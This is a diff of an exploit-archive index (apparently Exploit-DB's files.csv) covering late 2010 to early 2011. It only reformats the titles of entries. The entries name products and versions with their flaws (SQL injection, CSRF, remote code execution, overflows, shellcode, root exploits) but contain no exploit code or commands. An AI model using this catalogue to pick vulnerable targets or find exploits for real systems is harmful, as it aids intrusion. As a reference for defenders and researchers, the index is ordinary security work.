 15845,platforms/windows/dos/15845.py,"IrfanView 4.27 - JP2000.dll plugin DoS",2010-12-29,BraniX,windows,dos,0
 15846,platforms/php/webapps/15846.txt,"KaiBB 1.0.1 Multiple Vulnerabilities",2010-12-29,"High-Tech Bridge SA",php,webapps,0
 15847,platforms/php/webapps/15847.txt,"DzTube SQL Injection Vulnerability",2010-12-29,"errnick qwe",php,webapps,0
-15848,platforms/php/webapps/15848.txt,"PHP-AddressBook v6.2.4 (group.php) SQL Injection Vulnerability",2010-12-29,hiphop,php,webapps,0
+15848,platforms/php/webapps/15848.txt,"PHP-AddressBook 6.2.4 - (group.php) SQL Injection Vulnerability",2010-12-29,hiphop,php,webapps,0
 15849,platforms/php/webapps/15849.txt,"LoveCMS 1.6.2 - CSRF Code Injection Vulnerability",2010-12-29,hiphop,php,webapps,0
-15850,platforms/php/webapps/15850.html,"PiXie CMS v1.04 <= Multiple CSRF Vulnerabilities",2010-12-29,"Ali Raheem",php,webapps,0
+15850,platforms/php/webapps/15850.html,"PiXie CMS <= 1.04 - Multiple CSRF Vulnerabilities",2010-12-29,"Ali Raheem",php,webapps,0
 15851,platforms/windows/dos/15851.py,"QuickTime Picture Viewer 7.6.6 JP2000 Denial of Service Vulnerability",2010-12-29,BraniX,windows,dos,0
 15852,platforms/php/webapps/15852.txt,"Siteframe 3.2.3 (user.php) SQL Injection Vulnerability",2010-12-29,"AnGrY BoY",php,webapps,0
 15853,platforms/php/webapps/15853.txt,"DGNews 2.1 SQL Injection Vulnerability",2010-12-29,kalashnikov,php,webapps,0
-15855,platforms/windows/local/15855.py,"Digital Music Pad v8.2.3.4.8 (.pls) SEH Overflow",2010-12-29,"Abhishek Lyall",windows,local,0
+15855,platforms/windows/local/15855.py,"Digital Music Pad 8.2.3.4.8 - (.pls) SEH Overflow",2010-12-29,"Abhishek Lyall",windows,local,0
 15856,platforms/php/webapps/15856.php,"TYPO3 Unauthenticated Arbitrary File Retrieval",2010-12-29,ikki,php,webapps,0
 15857,platforms/php/webapps/15857.txt,"Discovery TorrentTrader 2.6 - Multiple Vulnerabilities",2010-12-29,EsS4ndre,php,webapps,0
 15858,platforms/php/webapps/15858.txt,"Wordpress 3.0.3 Stored XSS (IE7,6 NS8.1)",2010-12-29,Saif,php,webapps,0
@@ -13758,17 +13758,17 @@ id,file,description,date,author,platform,type,port
 15865,platforms/php/webapps/15865.php,"Ignition 1.3 Remote Code Execution Exploit",2010-12-30,cOndemned,php,webapps,0
 15866,platforms/windows/remote/15866.html,"Chilkat Software FTP2 ActiveX Component Remote Code Execution",2010-12-30,rgod,windows,remote,0
 15868,platforms/windows/remote/15868.pl,"QuickPHP Web Server Arbitrary (src .php) File Download",2010-12-30,"Yakir Wizman",windows,remote,0
-15869,platforms/windows/remote/15869.txt,"CA ARCserve D2D r15 Web Service Servlet  Code Execution",2010-12-30,rgod,windows,remote,0
+15869,platforms/windows/remote/15869.txt,"CA ARCserve D2D r15 Web Service Servlet Code Execution",2010-12-30,rgod,windows,remote,0
 15879,platforms/windows/shellcode/15879.txt,w32-speaking-shellcode,2010-12-31,SkyLined,windows,shellcode,0
 15885,platforms/windows/remote/15885.html,"HP Photo Creative 2.x audio.Record.1 ActiveX Control Remote Stack Based Buffer Overflow",2011-01-01,rgod,windows,remote,0
 15886,platforms/php/webapps/15886.txt,"KLINK SQL Injection Vulnerability",2011-01-01,"Mauro Rossi and Andres Gomez",php,webapps,0
 15887,platforms/php/webapps/15887.txt,"ChurchInfo <= 1.2.12 SQL Injection Vulnerability",2011-01-01,dun,php,webapps,0
 15888,platforms/windows/local/15888.c,"Bywifi 2.8.1 Stack Buffer Overflow Exploit",2011-01-01,anonymous,windows,local,0
 15889,platforms/php/webapps/15889.txt,"Sahana Agasti <= 0.6.4 SQL Injection Vulnerability",2011-01-01,dun,php,webapps,0
-15890,platforms/php/webapps/15890.txt,"Tech Shop Technote 7 SQL Injection  Vulnerability",2011-01-01,MaJ3stY,php,webapps,0
+15890,platforms/php/webapps/15890.txt,"Tech Shop Technote 7 SQL Injection Vulnerability",2011-01-01,MaJ3stY,php,webapps,0
 15891,platforms/php/webapps/15891.txt,"GALLARIFIC PHP Photo Gallery Script (gallery.php) SQL Injection",2011-01-02,AtT4CKxT3rR0r1ST,php,webapps,0
-15892,platforms/php/webapps/15892.html,"YourTube v1.0 CSRF Vulnerability (Add User)",2011-01-02,AtT4CKxT3rR0r1ST,php,webapps,0
-15893,platforms/php/webapps/15893.py,"Amoeba CMS v1.01 multiple remote vulnerabilities",2011-01-02,mr_me,php,webapps,0
+15892,platforms/php/webapps/15892.html,"YourTube 1.0 - CSRF Vulnerability (Add User)",2011-01-02,AtT4CKxT3rR0r1ST,php,webapps,0
+15893,platforms/php/webapps/15893.py,"Amoeba CMS 1.01 - Multiple Remote Vulnerabilities",2011-01-02,mr_me,php,webapps,0
 15894,platforms/windows/dos/15894.c,"MS10-073 Windows Class Handling Vulnerability",2011-01-02,"Tarjei Mandt",windows,dos,0
 15895,platforms/windows/local/15895.py,"CoolPlayer 2.18 DEP Bypass",2011-01-02,Blake,windows,local,0
 15896,platforms/php/webapps/15896.txt,"Sahana Agasti <= 0.6.4 Multiple Remote File Inclusion",2011-01-03,n0n0x,php,webapps,0
@@ -13777,9 +13777,9 @@ id,file,description,date,author,platform,type,port
 15901,platforms/windows/local/15901.py,"Music Animation Machine MIDI Player SEH BOF",2011-01-04,Acidgen,windows,local,0
 15902,platforms/php/webapps/15902.html,"S40 CMS 0.4.1 Change Admin Passwd CSRF Exploit",2011-01-04,pentesters.ir,php,webapps,0
 15905,platforms/windows/dos/15905.py,"Xynph 1.0 USER Denial of Service Exploit",2011-01-04,freak_out,windows,dos,0
-15907,platforms/php/webapps/15907.txt,"Nucleus v3.61 Multiple Remote File Include",2011-01-05,n0n0x,php,webapps,0
+15907,platforms/php/webapps/15907.txt,"Nucleus 3.61 - Multiple Remote File Include",2011-01-05,n0n0x,php,webapps,0
 15913,platforms/php/webapps/15913.pl,"PhpGedView <= 4.2.3 Local File Inclusion Vulnerability",2011-01-05,dun,php,webapps,0
-15915,platforms/php/webapps/15915.py,"Concrete CMS v5.4.1.1 XSS/Remote Code Execution Exploit",2011-01-05,mr_me,php,webapps,0
+15915,platforms/php/webapps/15915.py,"Concrete CMS 5.4.1.1 - XSS/Remote Code Execution Exploit",2011-01-05,mr_me,php,webapps,0
 15916,platforms/linux/local/15916.c,"Linux Kernel CAP_SYS_ADMIN to root Exploit",2011-01-05,"Dan Rosenberg",linux,local,0
 15917,platforms/php/webapps/15917.txt,"Ignition 1.3 (comment.php) Local File Inclusion Vulnerability",2011-01-06,n0n0x,php,webapps,0
 15918,platforms/jsp/webapps/15918.txt,"Openfire 3.6.4 Multiple CSRF Vulnerabilities",2011-01-06,"Riyaz Ahemed Walikar",jsp,webapps,0
@@ -13792,11 +13792,11 @@ id,file,description,date,author,platform,type,port
 15925,platforms/windows/dos/15925.txt,"StageTracker 2.5 Denial of Service Vulnerability",2011-01-07,freak_out,windows,dos,0
 15934,platforms/windows/local/15934.py,"BS.Player 2.57 Buffer Overflow Exploit (Unicode SEH)",2011-01-07,"C4SS!0 G0M3S",windows,local,0
 15935,platforms/linux/dos/15935.c,"GNU libc/regcomp(3) Multiple Vulnerabilities",2011-01-07,"Maksymilian Arciemowicz",linux,dos,0
-15936,platforms/windows/local/15936.py,"VideoSpirit Pro <= v1.68 Local BoF Exploit",2011-01-08,xsploitedsec,windows,local,0
+15936,platforms/windows/local/15936.py,"VideoSpirit Pro <= 1.68 - Local BoF Exploit",2011-01-08,xsploitedsec,windows,local,0
 15937,platforms/multiple/remote/15937.pl,"NetSupport Manager Agent Remote Buffer Overflow",2011-01-08,ikki,multiple,remote,0
 15938,platforms/php/webapps/15938.txt,"axdcms-0.1.1 Local File Include Vulnerbility",2011-01-08,n0n0x,php,webapps,0
 15939,platforms/php/webapps/15939.txt,"Elxis CMS 2009.2 Remote file include vulnerbility",2011-01-08,n0n0x,php,webapps,0
-15940,platforms/windows/dos/15940.pl,"HP Data Protector Manager v6.11 Remote DoS in RDS Service",2011-01-08,Pepelux,windows,dos,0
+15940,platforms/windows/dos/15940.pl,"HP Data Protector Manager 6.11 - Remote DoS in RDS Service",2011-01-08,Pepelux,windows,dos,0
 15941,platforms/windows/local/15941.py,"Winamp 5.5.8 (in_mod plugin) Stack Overflow Exploit (SEH)",2011-01-08,fdisk,windows,local,0
 15942,platforms/php/webapps/15942.txt,"Sahana Agasti <= 0.6.5 Multiple Vulnerabilities",2011-01-08,dun,php,webapps,0
 15943,platforms/php/webapps/15943.txt,"Mingle Forum (WordPress Plugin) <= 1.0.26 Multiple Vulnerabilities",2011-01-08,"Charles Hooper",php,webapps,0
@@ -13810,7 +13810,7 @@ id,file,description,date,author,platform,type,port
 15961,platforms/php/webapps/15961.txt,"TinyBB 1.2 SQL Injection Vulnerability",2011-01-10,Aodrulez,php,webapps,0
 15962,platforms/solaris/local/15962.c,"LOCAL SOLARIS KERNEL ROOT EXPLOIT (< 5.10 138888-01)",2011-01-10,peri.carding,solaris,local,0
 15963,platforms/windows/remote/15963.rb,"MS10-081: Windows Common Control Library (Comctl32) Heap Overflow",2011-01-10,"Nephi Johnson",windows,remote,0
-15964,platforms/php/webapps/15964.py,"Lotus CMS Fraise v3.0 LFI - Remote Code Execution Exploit",2011-01-10,mr_me,php,webapps,0
+15964,platforms/php/webapps/15964.py,"Lotus CMS Fraise 3.0 - LFI - Remote Code Execution Exploit",2011-01-10,mr_me,php,webapps,0
 15966,platforms/php/webapps/15966.txt,"ExtCalendar 2 (calendar.php) SQL Injection Vulnerability",2011-01-11,"Lagripe-Dz and Mca-Crb",php,webapps,0
 15967,platforms/php/webapps/15967.txt,"Energine 2.3.8 Multiple Vulnerabilities",2011-01-11,"High-Tech Bridge SA",php,webapps,0
 15968,platforms/php/webapps/15968.txt,"VaM Shop 1.6 Multiple Vulnerabilities",2011-01-11,"High-Tech Bridge SA",php,webapps,0
@@ -13831,11 +13831,11 @@ id,file,description,date,author,platform,type,port
 15989,platforms/php/webapps/15989.txt,"People Joomla Component 1.0.0 SQL Injection Vulnerability",2011-01-14,"Salvatore Fresta",php,webapps,0
 15991,platforms/windows/remote/15991.html,"Real Networks RealPlayer SP 'RecordClip' Method Remote Code Execution",2011-01-14,"Sean de Regge",windows,remote,0
 15992,platforms/windows/dos/15992.txt,"Sielco Sistemi Winlog <= 2.07.00 Stack Overflow",2011-01-14,"Luigi Auriemma",windows,dos,0
-15993,platforms/php/webapps/15993.html,"viart shop v4.0.5 CSRF Vulnerability",2011-01-15,Or4nG.M4N,php,webapps,0
+15993,platforms/php/webapps/15993.html,"viart shop 4.0.5 - CSRF Vulnerability",2011-01-15,Or4nG.M4N,php,webapps,0
 15994,platforms/windows/local/15994.rb,"eXtremeMP3 Player Buffer Overflow (SEH)",2011-01-15,"C4SS!0 G0M3S",windows,local,0
 15995,platforms/php/webapps/15995.txt,"glFusion CMS 1.2.1 Stored XSS via img Tag",2011-01-15,Saif,php,webapps,0
 15996,platforms/php/webapps/15996.txt,"CompactCMS 1.4.1 Multiple Vulnerabilities",2011-01-15,NLSecurity,php,webapps,0
-15997,platforms/jsp/webapps/15997.py,"MeshCMS v3.5 Remote Code Execution Exploit",2011-01-16,mr_me,jsp,webapps,0
+15997,platforms/jsp/webapps/15997.py,"MeshCMS 3.5 - Remote Code Execution Exploit",2011-01-16,mr_me,jsp,webapps,0
 15998,platforms/windows/dos/15998.txt,"Kingsoft AntiVirus 2011 SP5.2 KisKrnl.sys <= 2011.1.13.89 Local Kernel Mode DoS Exploit",2011-01-16,MJ0011,windows,dos,0
 15999,platforms/php/webapps/15999.txt,"BetMore Site Suite 4 (bid) Blind SQL Injection Vulnerability",2011-01-16,"BorN To K!LL",php,webapps,0
 16000,platforms/php/webapps/16000.txt,"Seo Panel 2.2.0 Cookie-Rendered Persistent XSS Vulnerability",2011-01-16,"Mark Stanislav",php,webapps,0
@@ -13848,7 +13848,7 @@ id,file,description,date,author,platform,type,port
 16009,platforms/windows/local/16009.pl,"A-PDF All to MP3 Converter 2.0.0 (.wav) Buffer Overflow Exploit",2011-01-18,h1ch4m,windows,local,0
 16010,platforms/php/webapps/16010.txt,"allCineVid Joomla Component 1.0.0 Blind SQL Injection Vulnerability",2011-01-18,"Salvatore Fresta",php,webapps,0
 16011,platforms/php/webapps/16011.txt,"CakePHP <= 1.3.5 / 1.2.8 unserialize() Vulnerability",2011-01-18,felix,php,webapps,0
-16012,platforms/windows/dos/16012.html,"Google Chrome v8.0.552.237 address overflow DoS",2011-01-18,"Vuk Ivanovic",windows,dos,0
+16012,platforms/windows/dos/16012.html,"Google Chrome 8.0.552.237 - address overflow DoS",2011-01-18,"Vuk Ivanovic",windows,dos,0
 16013,platforms/php/webapps/16013.html,"N-13 News 3.4 Remote Admin Add CSRF Exploit",2011-01-18,anT!-Tr0J4n,php,webapps,0
 16014,platforms/windows/remote/16014.html,"Novell iPrint <= 5.52 ActiveX GetDriverSettings() Remote Exploit (ZDI-10-256)",2011-01-19,Dr_IDE,windows,remote,0
 16016,platforms/php/webapps/16016.txt,"Simploo CMS 1.7.1 PHP Code Execution",2011-01-19,"David Vieira-Kurz",php,webapps,0
@@ -13861,12 +13861,12 @@ id,file,description,date,author,platform,type,port
 16024,platforms/windows/local/16024.txt,"Microsoft Fax Cover Page Editor <= 5.2.3790.3959 Double Free Memory Corruption",2011-01-24,"Luigi Auriemma",windows,local,0
 16025,platforms/bsd_x86/shellcode/16025.c,"BSD x86 connect back Shellcode (81 bytes)",2011-01-21,Tosh,bsd_x86,shellcode,0
 16026,platforms/bsd_x86/shellcode/16026.c,"BSD x86 portbind + fork shellcode (111 bytes)",2011-01-21,Tosh,bsd_x86,shellcode,0
-16027,platforms/php/webapps/16027.txt,"phpcms V9 Blind SQL Injection Vulnerability",2011-01-22,eidelweiss,php,webapps,0
+16027,platforms/php/webapps/16027.txt,"phpcms 9.0 - Blind SQL Injection Vulnerability",2011-01-22,eidelweiss,php,webapps,0
 16028,platforms/php/webapps/16028.txt,"CultBooking 2.0.4 Multiple Vulnerabilities",2011-01-22,LiquidWorm,php,webapps,0
 16034,platforms/php/webapps/16034.txt,"PHP Coupon Script v. 6.0 (bus) Blind SQL Injection Vulnerability",2011-01-23,"BorN To K!LL",php,webapps,0
 16035,platforms/windows/dos/16035.py,"Inetserv 3.23 SMTP Denial of Service Vulnerability",2011-01-23,G13,windows,dos,0
-16036,platforms/windows/remote/16036.rb,"Golden FTP Server v4.70 PASS Command Buffer Overflow Exploit",2011-01-23,"cd1zz and iglesiasgg",windows,remote,0
-16037,platforms/php/webapps/16037.html,"PHP Link Directory v4.1.0 CSRF Vulnerability (Add Admin)",2011-01-23,AtT4CKxT3rR0r1ST,php,webapps,0
+16036,platforms/windows/remote/16036.rb,"Golden FTP Server 4.70 - PASS Command Buffer Overflow Exploit",2011-01-23,"cd1zz and iglesiasgg",windows,remote,0
+16037,platforms/php/webapps/16037.html,"PHP Link Directory 4.1.0 - CSRF Vulnerability (Add Admin)",2011-01-23,AtT4CKxT3rR0r1ST,php,webapps,0
 16038,platforms/windows/dos/16038.py,"Inetserv 3.23 POP3 Denial of Service",2011-01-24,dmnt,windows,dos,0
 16039,platforms/php/webapps/16039.txt,"Joomla B2 Portfolio Component 1.0.0 Multiple SQL Injection",2011-01-24,"Salvatore Fresta",php,webapps,0
 16040,platforms/windows/dos/16040.py,"Automated Solutions Modbus/TCP OPC Server Remote Heap Corruption PoC",2011-01-25,"Jeremy Brown",windows,dos,0
@@ -13874,7 +13874,7 @@ id,file,description,date,author,platform,type,port
 16042,platforms/windows/dos/16042.rb,"Opera Web Browser 11.00 Integer Overflow Vulnerability",2011-01-25,"C4SS!0 G0M3S",windows,dos,0
 16044,platforms/php/webapps/16044.txt,"AB WEB CMS 1.35 - Multiple Remote Vulnerabilities",2011-01-25,"Dr.0rYX and Cr3w-DZ",php,webapps,0
 16047,platforms/php/webapps/16047.txt,"PHPDirector Game Edition (game.php) SQL Injection Vulnerability",2011-01-26,AtT4CKxT3rR0r1ST,php,webapps,0
-16049,platforms/php/webapps/16049.txt,"AWCM v2.2 final Local File Inclusion Vulnerability",2011-01-26,Cucura,php,webapps,0
+16049,platforms/php/webapps/16049.txt,"AWCM 2.2 final - Local File Inclusion Vulnerability",2011-01-26,Cucura,php,webapps,0
 16050,platforms/php/webapps/16050.txt,"class.upload.php v 0.30 Remote File Upload Vulnerability",2011-01-26,DIES3L,php,webapps,0
 16051,platforms/php/webapps/16051.txt,"Froxlor v 0.9.15 Remote File Inclusion Vulnerbility",2011-01-26,DIES3L,php,webapps,0
 16052,platforms/windows/remote/16052.txt,"Oracle Document Capture 10.1.3.5 Insecure Method / Buffer Overflow",2011-01-26,"Alexandr Polyakov",windows,remote,0
@@ -13899,17 +13899,17 @@ id,file,description,date,author,platform,type,port
 16076,platforms/php/webapps/16076.txt,"vBSEO 3.5.2 & 3.2.2 - Persistent XSS via LinkBacks",2011-01-30,MaXe,php,webapps,0
 16077,platforms/php/webapps/16077.txt,"vBSEO Sitemap 2.5 & 3.0 - Multiple Vulnerabilities",2011-01-30,MaXe,php,webapps,0
 16078,platforms/windows/remote/16078.py,"SDP Downloader 2.3.0 (http_response) Remote Buffer Overflow Exploit",2011-01-30,sup3r,windows,remote,0
-16079,platforms/multiple/dos/16079.html,"Google Chrome v8.0.552.237 .replace DOS",2011-01-30,"Carlos Mario Penagos Hollmann",multiple,dos,0
-16080,platforms/php/webapps/16080.txt,"RW-Download v4.0.6 (index.php) SQL Injection Vulnerability",2011-01-30,Dr.NeT,php,webapps,0
+16079,platforms/multiple/dos/16079.html,"Google Chrome 8.0.552.237 - .replace DOS",2011-01-30,"Carlos Mario Penagos Hollmann",multiple,dos,0
+16080,platforms/php/webapps/16080.txt,"RW-Download 4.0.6 - (index.php) SQL Injection Vulnerability",2011-01-30,Dr.NeT,php,webapps,0
 16083,platforms/windows/local/16083.rb,"NetZip Classic Buffer Overflow Exploit (SEH)",2011-01-30,"C4SS!0 G0M3S",windows,local,0
-16084,platforms/windows/dos/16084.html,"Maxthon Browser v3.0.20.1000 .ref .replace DOS",2011-01-30,"Carlos Mario Penagos Hollmann",windows,dos,0
+16084,platforms/windows/dos/16084.html,"Maxthon Browser 3.0.20.1000 - .ref .replace DOS",2011-01-30,"Carlos Mario Penagos Hollmann",windows,dos,0
 16085,platforms/windows/local/16085.py,"AOL 9.5 (rtx) Local Buffer Overflow Exploit",2011-01-31,sup3r,windows,local,0
 16086,platforms/linux/local/16086.txt,"OpenVAS Manager Command Injection Vulnerability",2011-01-31,"Tim Brown",linux,local,0
 16087,platforms/php/webapps/16087.txt,"PMB Services <= 3.4.3 SQL Injection Vunerability",2011-02-01,Luchador,php,webapps,0
 16088,platforms/php/webapps/16088.php,"NetLink Arbitrary File Upload Vulnerability",2011-02-01,lumut--,php,webapps,0
 16090,platforms/php/webapps/16090.txt,"TinyWebGallery v 1.8.3 - Multiple Vulnerabilities",2011-02-01,"Yam Mesicka",php,webapps,0
-16091,platforms/php/webapps/16091.txt,"Joomla! v1.5 + v1.6 JFilterInput XSS Bypass",2011-02-01,"Jeff Channell",php,webapps,0
-16092,platforms/windows/local/16092.py,"CodeBlocks v8.02 (cbp) Buffer Overflow Exploit",2011-02-01,sup3r,windows,local,0
+16091,platforms/php/webapps/16091.txt,"Joomla! 1.5 & 1.6 - JFilterInput XSS Bypass",2011-02-01,"Jeff Channell",php,webapps,0
+16092,platforms/windows/local/16092.py,"CodeBlocks 8.02 - (cbp) Buffer Overflow Exploit",2011-02-01,sup3r,windows,local,0
 16094,platforms/php/webapps/16094.txt,"Raja Natarajan Guestbook 1.0 Local File Inclusion Vulnerability",2011-02-02,h0rd,php,webapps,0
 16095,platforms/linux/dos/16095.pl,"Terminal Server Client .rdp Denial of Service",2011-02-02,"D3V!L FUCKER",linux,dos,0
 16096,platforms/php/webapps/16096.txt,"Redaxscript 0.3.2 Multiple Vulnerabilities",2011-02-02,"High-Tech Bridge SA",php,webapps,0
@@ -13917,11 +13917,11 @@ id,file,description,date,author,platform,type,port
 16098,platforms/hardware/local/16098.c,"Android 1.x/2.x HTC Wildfire Local Root Exploit",2011-02-02,"The Android Exploid Crew",hardware,local,0
 16099,platforms/hardware/local/16099.c,"Android 1.x/2.x Local Root Exploit",2011-02-02,"The Android Exploid Crew",hardware,local,0
 16100,platforms/hardware/remote/16100.txt,"Tandberg E, EX and C Series Endpoints Default Credentials for Root Account",2011-02-02,"Cisco Security",hardware,remote,0
-16101,platforms/windows/remote/16101.py,"FTPGetter v3.58.0.21 Buffer Overflow (PASV) Exploit",2011-02-03,modpr0be,windows,remote,0
-16102,platforms/php/webapps/16102.txt,"Islam Sound IV2 (details.php) Remote SQL Injection",2011-02-03,ZxH-Labs,php,webapps,0
+16101,platforms/windows/remote/16101.py,"FTPGetter 3.58.0.21 - Buffer Overflow (PASV) Exploit",2011-02-03,modpr0be,windows,remote,0
+16102,platforms/php/webapps/16102.txt,"Islam Sound IV2 - (details.php) Remote SQL Injection",2011-02-03,ZxH-Labs,php,webapps,0
 16103,platforms/multiple/remote/16103.txt,"Majordomo2 - Directory Traversal (SMTP/HTTP)",2011-02-03,"Michael Brooks",multiple,remote,0
 16105,platforms/windows/remote/16105.txt,"QuickShare File Share 1.2.1 Directory Traversal Vulnerability",2011-02-03,modpr0be,windows,remote,0
-16106,platforms/php/webapps/16106.txt,"OemPro v3.6.4 Multiple Vulnerabilities",2011-02-03,"Ignacio Garrido",php,webapps,0
+16106,platforms/php/webapps/16106.txt,"OemPro 3.6.4 - Multiple Vulnerabilities",2011-02-03,"Ignacio Garrido",php,webapps,0
 16107,platforms/windows/local/16107.py,"AOL Desktop 9.6 .rtx Buffer Overflow",2011-02-03,sickness,windows,local,0
 16108,platforms/multiple/dos/16108.txt,"VLC Media Player Subtitle StripTags() Function Memory Corruption",2011-02-03,"Harry Sintonen",multiple,dos,0
 16109,platforms/php/webapps/16109.txt,"Podcast Generator 1.3 Multiple Vulnerabilities",2011-02-04,"High-Tech Bridge SA",php,webapps,0
@@ -13930,18 +13930,18 @@ id,file,description,date,author,platform,type,port
 16114,platforms/php/webapps/16114.txt,"Chamilo 1.8.7 / Dokeos 1.8.6 Remote File Disclosure",2011-02-05,beford,php,webapps,0
 16116,platforms/php/webapps/16116.txt,"Qcodo Development Framework 0.3.3 Full Info Disclosure",2011-02-05,"Daniel Godoy",php,webapps,0
 16117,platforms/php/webapps/16117.txt,"Escort und Begleitservice Agentur Script SQL Injection Vunerability",2011-02-05,NoNameMT,php,webapps,0
-16119,platforms/freebsd/local/16119.c,"FreeBSD <= 5.4-RELEASE ftpd (Version 6.00LS) sendfile kernel mem-leak Exploit",2011-02-06,Kingcope,freebsd,local,0
+16119,platforms/freebsd/local/16119.c,"FreeBSD <= 5.4-RELEASE ftpd (Version 6.00LS) - sendfile kernel mem-leak Exploit",2011-02-06,Kingcope,freebsd,local,0
 16120,platforms/windows/dos/16120.py,"Hanso Player 1.4.0.0 Buffer Overflow - DoS Skinfile",2011-02-06,badc0re,windows,dos,0
-16121,platforms/windows/dos/16121.py,"Hanso Converter v1.1.0 BufferOverflow - Denial Of Service",2011-02-06,badc0re,windows,dos,0
+16121,platforms/windows/dos/16121.py,"Hanso Converter 1.1.0 - BufferOverflow Denial of Service",2011-02-06,badc0re,windows,dos,0
 16122,platforms/php/webapps/16122.txt,"Dew-NewPHPLinks 2.1b (index.php) - SQL Injection Vulnerability",2011-02-06,AtT4CKxT3rR0r1ST,php,webapps,0
 16123,platforms/hardware/remote/16123.txt,"Comcast DOCSIS 3.0 Business Gateways Multiple Vulnerabilities",2011-02-06,"Trustwave's SpiderLabs",hardware,remote,0
 16127,platforms/php/webapps/16127.txt,"T-Content Managment System Multiple Vulnerabilities",2011-02-07,"Daniel Godoy",php,webapps,0
 16128,platforms/php/webapps/16128.txt,"JAKCMS 2.0 PRO RC5 stored XSS via useragent HTTP header Injection",2011-02-07,"Saif El-Sherei",php,webapps,0
 16129,platforms/linux/dos/16129.txt,"ProFTPD mod_sftp Integer Overflow DoS PoC",2011-02-07,Kingcope,linux,dos,0
 16130,platforms/php/webapps/16130.txt,"MyMarket 1.71 (index.php) SQL Injection Vulnerability",2011-02-07,ahmadso,php,webapps,0
-16131,platforms/php/webapps/16131.txt,"SWFUpload v2.5.0 Beta 3 File Arbitrary Upload",2011-02-07,"Daniel Godoy",php,webapps,0
-16132,platforms/windows/local/16132.htm,"AoA DVD Creator V2.5 ActiveX Stack Overflow Exploit",2011-02-07,"Carlos Mario Penagos Hollmann",windows,local,0
-16133,platforms/windows/local/16133.htm,"AoA Mp4 converter v4.1.0 ActiveX Stack Overflow Exploit",2011-02-07,"Carlos Mario Penagos Hollmann",windows,local,0
+16131,platforms/php/webapps/16131.txt,"SWFUpload 2.5.0 Beta 3 - File Arbitrary Upload",2011-02-07,"Daniel Godoy",php,webapps,0
+16132,platforms/windows/local/16132.htm,"AoA DVD Creator 2.5 - ActiveX Stack Overflow Exploit",2011-02-07,"Carlos Mario Penagos Hollmann",windows,local,0
+16133,platforms/windows/local/16133.htm,"AoA Mp4 converter 4.1.0 - ActiveX Stack Overflow Exploit",2011-02-07,"Carlos Mario Penagos Hollmann",windows,local,0
 16134,platforms/php/webapps/16134.txt,"Model Agentur Script SQL Injection Vunerability",2011-02-08,NoNameMT,php,webapps,0
 16135,platforms/php/webapps/16135.html,"dotProject 2.1.5 CSRF Vulnerability",2011-02-08,"AutoSec Tools",php,webapps,0
 16136,platforms/php/webapps/16136.html,"AIOCP 1.4.001 CSRF Vulnerability",2011-02-08,"AutoSec Tools",php,webapps,0
@@ -13956,17 +13956,17 @@ id,file,description,date,author,platform,type,port
 16148,platforms/php/webapps/16148.txt,"SourceBans 1.4.7 XSS Vulnerability",2011-02-09,Sw1tCh,php,webapps,0
 16149,platforms/hardware/remote/16149.txt,"Linksys WAP610N Unauthenticated Root Access Security Vulnerability",2011-02-10,"Matteo Ignaccolo",hardware,remote,0
 16150,platforms/windows/dos/16150.py,"XM Easy Personal FTP Server 5.8.0 (TYPE) Denial Of Service",2011-02-10,"Houssam Sahli",windows,dos,0
-16152,platforms/multiple/webapps/16152.py,"LocatePC v1.05 (Ligatt Version + Others) Trivial SQLi",2011-02-10,anonymous,multiple,webapps,0
+16152,platforms/multiple/webapps/16152.py,"LocatePC 1.05 (Ligatt Version + Others) - Trivial SQL Injection",2011-02-10,Anonymous,multiple,webapps,0
 16153,platforms/windows/local/16153.py,"MoviePlay 4.82 (.lst) Buffer Overflow",2011-02-11,sickness,windows,local,0
 16154,platforms/php/webapps/16154.txt,"Horde Horde_Image::factory driver Argument Local File Inclusion",2011-02-11,skysbsb,php,webapps,0
 16155,platforms/php/webapps/16155.txt,"Geomi CMS SQL Injection Vulnerability",2011-02-11,"ThunDEr HeaD",php,webapps,0
 16156,platforms/php/webapps/16156.txt,"Kunena < 1.5.13, < 1.6.3 SQL Injection Vulnerability",2011-02-11,"Red Matter",php,webapps,0
-16157,platforms/jsp/webapps/16157.py,"Openedit <= v5.1294 Remote Code Execution Exploit",2011-02-11,mr_me,jsp,webapps,0
+16157,platforms/jsp/webapps/16157.py,"Openedit <= 5.1294 - Remote Code Execution Exploit",2011-02-11,mr_me,jsp,webapps,0
 16158,platforms/php/webapps/16158.txt,"TaskFreak! v0.6.4 Multiple Cross-Site Scripting Vulnerabilities",2011-02-12,LiquidWorm,php,webapps,0
 16159,platforms/php/webapps/16159.txt,"Escort Agency CMS Blind SQL Injection Vunerability",2011-02-12,NoNameMT,php,webapps,0
 16160,platforms/php/webapps/16160.txt,"Pixelpost 1.7.3 Multiple POST Variables SQL Injection Vulnerability",2011-02-12,LiquidWorm,php,webapps,0
 16162,platforms/windows/local/16162.pl,"CuteZip 2.1 Buffer Overflow Exploit",2011-02-12,"C4SS!0 G0M3S",windows,local,0
-16165,platforms/php/webapps/16165.txt,"AWCM v2.2 final Persistent Cross Site Script Vulnerability",2011-02-14,_84kur10_,php,webapps,0
+16165,platforms/php/webapps/16165.txt,"AWCM 2.2 final - Persistent Cross Site Script Vulnerability",2011-02-14,_84kur10_,php,webapps,0
 16166,platforms/windows/dos/16166.py,"MS Windows Server 2003 AD Pre-Auth BROWSER ELECTION Remote Heap Overflow",2011-02-14,Cupidon-3005,windows,dos,0
 16167,platforms/php/webapps/16167.txt,"jSchool Advanced SQL Injection Vulnerability",2011-02-14,eXa.DisC,php,webapps,0
 16168,platforms/php/webapps/16168.txt,"RunCMS 2.2.2 Multiple Vulnerabilities",2011-02-14,"High-Tech Bridge SA",php,webapps,0
@@ -13974,13 +13974,13 @@ id,file,description,date,author,platform,type,port
 16170,platforms/php/webapps/16170.txt,"phpMyBitTorrent 2.0.4 SQL Injection Vulnerability",2011-02-15,#forkbombers,php,webapps,0
 16171,platforms/cfm/webapps/16171.py,"Lingxia I.C.E CMS Remote Blind SQL Injection Exploit",2011-02-15,mr_me,cfm,webapps,0
 16172,platforms/php/webapps/16172.txt,"OmegaBill 1.0 Build 6 Multiple Vulnerabilities",2011-02-15,"AutoSec Tools",php,webapps,0
-16173,platforms/windows/local/16173.py,"AutoPlay v1.33 (autoplay.ini) Local Buffer Overflow Exploit (SEH)",2011-02-15,badc0re,windows,local,0
+16173,platforms/windows/local/16173.py,"AutoPlay 1.33 (autoplay.ini) - Local Buffer Overflow Exploit (SEH)",2011-02-15,badc0re,windows,local,0
 16175,platforms/php/webapps/16175.txt,"Seo Panel 2.2.0 SQL Injection Vulnerabilities",2011-02-15,"High-Tech Bridge SA",php,webapps,0
